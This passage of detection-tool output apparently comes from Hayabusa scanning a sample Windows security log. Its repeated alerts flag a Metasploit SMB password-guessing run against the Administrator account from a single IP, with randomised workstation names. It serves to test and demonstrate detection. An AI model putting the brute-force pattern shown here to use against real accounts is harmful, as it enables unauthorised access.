01:50:09.876 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sHAJ9p0QbSRxhvtk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.921 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YRiE1wGrwWAx0feP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.968 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Flo4bCVjmlaHz0QS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.061 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HscUujSzd3Ua7dqg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.061 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aIQPTx67aEer51wb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.191 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MqUoXUf7PKIaoDjs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.191 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.222 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wzeB4DAS1W633tmh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.222 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.263 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UTtXTrqHoCZMbDLT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.263 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.311 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4HVv5PgPhiDW3qcj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.311 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g21VoO45UrIbTuZO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.383 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rGpD7AJUTekDmd6Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.383 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.423 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OykzTOn7B9THv0cT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.423 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cIYOrBBwX8nFpCzw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.462 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SvnROHLMVnmPfAyy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.508 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5EwJ84H7kXQXzGZz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 34RLeLWDgLayU3JM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QaXHGUgboODAi5Qu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.619 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.659 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QlOlZ0m397CsmaeD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.659 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.699 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N24rSPCI8DsQIPXR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.699 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.738 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5y2tgoUcs6mFPZm4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.738 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HmFX6MioYqaMumgw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.820 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R4HRWlPWPKy1Cicq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.820 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GDUf7wVbHkS9uaPC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.869 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eBX0Lviz6Bv5rGcb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.917 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zZwPm9qahLU78FRY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jOVsopykTHNQcYUp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n8DY7sdDY8nuWdME : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.105 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rTxEVu7mudXEBARZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.105 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7ohqvCoOLkFRcqvE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: me8rikVJqcKxvHdq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oLqVmqCmHTrD7V8V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ySdyzxvDasHgjq0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.269 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.312 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N2auwOc1wemq76n1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.312 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RgK6lHgC5WOBk4kW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2GG0bKgusKqseQij : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.389 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MpHm7DcOmhq4rkaX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OX1vVGrE7fJSMEiZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 65i7wtyAhL58QrzC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.508 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.551 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k8uSVFRTLTB6g1eg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.551 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ire6VOUMWZQnNjES : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.592 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pGWnvKUXnbJvRqql : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xBVvrrLf1rnAviKS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.666 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NE9atGNBlSLQLLcX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a0M5EaAXziu07hOH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.744 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PM1mwxqI7yVgoK2D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MPqnpvetHXdThxYg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.836 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gthbVQMJ7UD2QS7H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.879 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit 